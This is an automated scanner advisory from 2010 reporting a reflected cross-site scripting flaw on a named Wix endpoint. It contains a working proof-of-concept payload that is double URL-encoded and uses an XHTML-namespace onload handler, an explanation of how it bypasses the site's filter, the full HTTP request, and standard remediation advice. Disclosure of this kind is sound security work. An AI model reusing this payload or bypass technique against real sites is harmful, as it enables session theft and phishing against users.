Report generated by XSS.CX at Sat Nov 20 12:44:13 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

Summary

Severity:	High
Confidence:	Certain
Host:	http://static.wix.com
Path:	/client/getComponentsTypeList.php

Issue detail

The value of the componentTypeViewerList request parameter is copied into the XML document as plain text between tags. The payload 18780%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253eb4ced27665b was submitted in the componentTypeViewerList parameter. This input was echoed as 18780<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>b4ced27665b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the componentTypeViewerList request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /client/getComponentsTypeList.php?componentTypeViewerList=5minMediaControl,CtrlSimple,FiveGridLine,MediaControlPlaylist,StackerCarousel,StackerGallery,StackerSlider,TextButton3G,TextButtonSkinnable,YoutubeMediaControl,alphaOnRoll,animatingButton,area,areaScrollPane,areaScrollText,arrangerMenu,basicShape,contactForm,expand,flashAdjustColor,flashBlend,flashTint,generalExternal,glowOnRoll,gotoRight,gotoSecureURL,gotoState,gotoStateOnRoll,gotoURL,groupHolder,loginView,matrixArranger,media,paraText,photoAlbomScroll,photoFrame,photoStackerGallery,picture,soundOnRoll,textButtonMenu,textButtonMenuHorz,textButtonMenuVert,titleText,viewStack,wizard18780%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253eb4ced27665b&cacheKiller=U021 HTTP/1.1
Accept: */*
Accept-Language: en-US
Referer: http://static.wix.com/client/app.swf?v=95
x-flash-version: 10,1,102,64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: static.wix.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.6-1+lenny9
Last-Modified: Mon, 15 Nov 2010 08:23:15 GMT
Etag: 785b80e09d49a8c8f04cc2864095135e
Content-Type: text/xml
Date: Sat, 20 Nov 2010 16:52:51 GMT
Server: sputnik4
Accept-Ranges: bytes
Cache-Control: private, max-age=10800
Age: 0
Expires: Sat, 20 Nov 2010 19:52:51 GMT
x-cdn: Served by Cotendo
Connection: Keep-Alive
Content-Length: 45234

<?xml version="1.0" encoding="UTF-8" ?>
<component-type-list-result success="true" errorCode="0" errorDescription="OK">

<component-type component_type="5minMedi
...[SNIP]...

...[SNIP]...

Report generated by XSS.CX at Sat Nov 20 12:44:13 CST 2010.